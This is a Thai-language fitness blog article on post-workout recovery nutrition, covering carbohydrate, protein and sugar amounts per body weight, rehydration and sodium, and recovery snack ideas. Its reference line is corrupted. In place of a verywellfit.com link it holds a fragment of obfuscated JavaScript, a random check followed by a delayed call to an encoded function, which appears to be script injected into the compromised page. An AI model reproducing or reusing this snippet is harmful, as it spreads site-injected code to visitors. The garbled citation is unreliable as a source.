• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

RECOVERY ร่างกายได้เร็วขึ้นต้องกินอะไรดี

kan by kan
29 March 2019
in Healthy Tips, Training
0
RECOVERY ร่างกายได้เร็วขึ้นต้องกินอะไรดี
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

RECOVERY คือการกระทำ พฤติกรรมการฟื้นฟูให้กลับคืนสู่สภาวะปกติ หรือการทำให้ร่างกายกลับมามีสุขภาพดีเหมือนเดิม ทั้งนี้ในการ RECOVERY สารอาหารที่รับเข้าไปนั้นมีผลต่อการ RECOVERY และ PERFORMANCE ของเรามาก

หลังจากจบการฝึกซ้อม โดยเฉพาะการฝึกแบบ INTENSIVE WORKOUT (ฝึกหนัก อย่างเช่น การวิ่ง INTERVAL, SPEED WORKOUT และ TEMPO RUN) และการฝึกแบบที่กินระยะเวลานาน (มากกว่าหนึ่งชั่วโมงขึ้นไป) ร่างกายต้องการสารอาหารประเภทคาร์โบไฮเดรตและโปรตีน เพื่อเติมคืนพลังงาน เพื่อเสริมสร้างและฟื้นฟูกล้ามเนื้อ (REPLENISH & REBUILD)

RECOVERY ร่างกายได้เร็วขึ้นต้องกินอะไรดี

จากผลการวิจัย แนะนำว่าเราควรรับคาร์โบไฮเดรต 1 กรัม/หนึ่งกิโลกรัมของน้ำหนักร่างกาย/ชั่วโมง เพื่อการ RECOVERY อย่างเช่น ถ้าเราหนัก 68 กก. เราควรรับคาร์โบไฮเดรต 68 กรัม ซึ่งหาได้จากธัญพืชอัดแท่ง หรือเครื่องดื่มเกลือแร่ทั่วไป  

สำหรับอาหาร REFUEL ที่มีขายให้นักวิ่งและนักปั่นจะมี RECOVERY BAR หรือจะเป็น ENERGY BAR ที่มีสัดส่วนโปรตีน-คาร์โบฯ ¼ จะช่วยให้ร่างกายได้รับสารโปรตีนเพื่อใช้ในการ RECOVERY กล้ามเนื้อได้เร็วขึ้นด้วย ส่วนน้ำตาลเราควรจะรับหรือไม่ เพราะการรับน้ำตาล จะกลายไปเป็นแหล่งพลังงานให้กล้ามเนื้อทันที แต่มากเดินไปก็ระวังจะกลายมาเป็นไขมันสะสมในร่างกาย จะทำให้เรากลายเป็นหมูที่แข็งแรงซะแทน เราแนะนำว่าถ้าคุณหนัก 68 กก. ก็ควรรับน้ำตาลอยู่ที่ 17 กรัม  

ของขบเคี้ยวง่ายๆ ที่จะช่วยทำให้เรา RECOVERY ได้ดีแต่ทั้งนี้อย่าเผลอรับประทานมากเกินไปละครับเดียวจะอ้วนได้ อย่างเช่น

  • ขนมปังธัญพืช WHOLE WHEAT, เนยถั่ว (PEANUT BUTTER) จะใส่พร้อมกับ LOW-FAT ชีสก็ได้
  • สมูทตี้ นม ผลไม้และเนยถั่ว (NUT BETTER)
  • กรีกโยเกริ์ตผสมผลไม้ (GREEK YOGURT)
  • กล้วยและเนยถั่ว (NUT BETTER)
  • มันม่วง มันผรั่งอบ ครีม LOW-FAT รสเปรียว ถั่ว กรีกโยเกริ์ต และซอส SALSA เป็นต้น
  • แอปเปิ้ลหรือสาลี่ และชีส
  • นมผสมชอกโกเลต

การออกกำลังกายที่หนักและยาวนานอย่างกีฬาประเภท ENDURANCE จะทำให้โปรตีนกล้ามเนื้อถูกย่อยสลายนำใช้เยอะ นี้ทำให้การรับสารอาหารเพื่อนำไปใช้การฟื้นฟูกล้ามเนื้อเป็นเรื่องสำคัญยิ่ง เพราะเมื่อหลังจบการออกกำลังกายกระบวนการ แคแทบอลิซึม (CATABOLISM) ลดลงและการทำงานของแอนาบอลิซึม (ANABOLISM) จะเพิ่มขึ้นตลอด 24 ชั่วโมง การรับกรดอะมิโนแอซิค (AMIO ACID) จากโปรตีนคุณภาพที่ดีจะทำให้กล้ามเนื้อเราฟื้นฟูได้เร็วขึ้น โดยแนะนำให้บริโภค 20-30 G โปรตีนหลังจบการออกกำลังกายไป 1 ชั่วโมงแรกจะได้ผลดีที่สุด

นักกีฬาส่วนมากจะสูญเสียน้ำไปมากหลังการออกกำลังกาย เราจะอยู่ในสภาวะ FLUID DEFICIT (ขาดน้ำ) และเพื่อรักษาสมดุลน้ำ ในช่วงเวลา 4-6 ชั่วโมงหลังจบการออกกำลังกายเราควรรับน้ำเข้าไปถึง 125-150% ของน้ำที่สูญเสียไประหว่างออกกำลังกาย

ร่างกายไม่ได้ขาดเฉพาะน้ำเท่านั้นแต่รวมถึงเกลือแร่ อิโลกโตรไลด์ที่ไปกับเหงื่อ เพราะสารเหล่านี้จะช่วยในการดูดซับน้ำในร่างกาย เราจึงควรเพิ่มสารเกลื่อแร่อย่างโซเดียมเข้าไป 50-80 MMOL  (MILLIMOLES PER LITRE) เพื่อให้การ REHYDRATE ได้ผลเต็มที่ ถ้าพูดกันง่ายๆ ใครที่ออกกำลังกายเกิน 60 นาทีก็ควรรับเครื่องดื่มที่มีเกลือแร่เข้าไป ไม่ใช้รับแต่น้ำอย่างเดียว การ RECOVERY จะให้ผลดีขึ้นลดอาการเหนื่อยล้าลงได้เยอะ

ทั้งหมดนี้เราพอจำแนก จุดประสงค์ที่เราต้อง RECOVERY หลักๆ ก็แบ่งได้อย่างเช่น การเติมเต็ม (REPLENISHING) สาร GLYCOGEN กลับไปใหม่ทั้งในกล้ามเนื้อและตับ ให้กลายเป็นแหล่งพลังงาน การรับประทานโปรตีนเพื่อช่วยซ่อมแซมกล้ามเนื้อ การเติมสารอิเล็กโตรไลด์และของเหลว (น้ำ) กลับไปใหม่หลังจากสูญเสียออกทางเหงื่อและรักษาภูมิคุ้มกันให้อยู่ในระดับที่ทำงานได้ดี  

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-foods-after-a-workout-3436370″>www.verywellfit.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.